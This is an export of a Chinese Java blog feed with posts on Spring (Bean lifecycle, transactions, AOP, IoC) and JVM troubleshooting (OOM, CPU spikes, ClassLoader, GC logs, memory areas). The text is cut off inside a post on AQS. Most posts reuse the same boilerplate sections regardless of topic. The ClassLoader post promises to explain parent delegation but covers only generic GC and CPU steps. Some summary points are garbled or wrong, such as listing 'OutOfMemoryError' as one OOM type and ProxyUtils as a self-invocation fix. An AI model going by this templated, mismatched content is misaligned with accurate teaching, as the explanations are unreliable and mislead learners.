class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入</p></li><li><p>@PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键</p></li><li><p>Aware 接口让 Bean 能够感知容器的上下文信息</p></li><li><p>销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring 事务失效的常见原因</title>
      <link href="//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/"/>
      <url>//spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-事务失效的常见原因"><a href="#Spring-事务失效的常见原因" class="headerlink" title="Spring 事务失效的常见原因"></a>Spring 事务失效的常见原因</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别</p></li><li><p>事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值</p></li><li><p>使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚</p></li><li><p>编程式事务在某些场景下比声明式事务更灵活</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring AOP 的原理和常见应用</title>
      <link href="//spring-aop-de-yuan-li-he-chang-jian-ying-yong/"/>
      <url>//spring-aop-de-yuan-li-he-chang-jian-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-AOP-的原理和常见应用"><a href="#Spring-AOP-的原理和常见应用" class="headerlink" title="Spring AOP 的原理和常见应用"></a>Spring AOP 的原理和常见应用</h1><p>AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类</p></li><li><p>切面的优先级由 @Order 注解控制，数字越小优先级越高</p></li><li><p>自调用问题的原因是内部方法调用不会经过代理对象</p></li><li><p>使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring IoC 容器到底解决了什么</title>
      <link href="//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/"/>
      <url>//spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-IoC-容器到底解决了什么"><a href="#Spring-IoC-容器到底解决了什么" class="headerlink" title="Spring IoC 容器到底解决了什么"></a>Spring IoC 容器到底解决了什么</h1><p>IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>依赖注入实现了控制反转，把对象创建的控制权交给容器</p></li><li><p>构造器注入优于字段注入，能保证依赖的不可变性和非空性</p></li><li><p>IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力</p></li><li><p>通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>内存溢出和内存泄漏排查流程</title>
      <link href="//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/"/>
      <url>//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="内存溢出和内存泄漏排查流程"><a href="#内存溢出和内存泄漏排查流程" class="headerlink" title="内存溢出和内存泄漏排查流程"></a>内存溢出和内存泄漏排查流程</h1><p>内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线上 CPU 飙高如何定位 Java 问题</title>
      <link href="//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/"/>
      <url>//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="线上-CPU-飙高如何定位-Java-问题"><a href="#线上-CPU-飙高如何定位-Java-问题" class="headerlink" title="线上 CPU 飙高如何定位 Java 问题"></a>线上 CPU 飙高如何定位 Java 问题</h1><p>线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ClassLoader 双亲委派模型实践理解</title>
      <link href="//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/"/>
      <url>//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="ClassLoader-双亲委派模型实践理解"><a href="#ClassLoader-双亲委派模型实践理解" class="headerlink" title="ClassLoader 双亲委派模型实践理解"></a>ClassLoader 双亲委派模型实践理解</h1><p>双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>GC 日志怎么看才有用</title>
      <link href="//gc-ri-zhi-zen-me-kan-cai-you-yong/"/>
      <url>//gc-ri-zhi-zen-me-kan-cai-you-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="GC-日志怎么看才有用"><a href="#GC-日志怎么看才有用" class="headerlink" title="GC 日志怎么看才有用"></a>GC 日志怎么看才有用</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM 内存区域从入门到排查</title>
      <link href="//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/"/>
      <url>//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM-内存区域从入门到排查"><a href="#JVM-内存区域从入门到排查" class="headerlink" title="JVM 内存区域从入门到排查"></a>JVM 内存区域从入门到排查</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AQS 为什么是并发工具的基础</title>
      <link href="//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/"/>
      <url>//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/</url>
      
        <content type="html"><![CDATA[<h1 id="AQS-为什么是并发工具的基础"><a href="#AQS-为什么是并发工具的基础" class="headerlink" title="AQS 为什么是并发工具的基础"></a>AQS 为什么是并发工具的基础</h1><p>在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 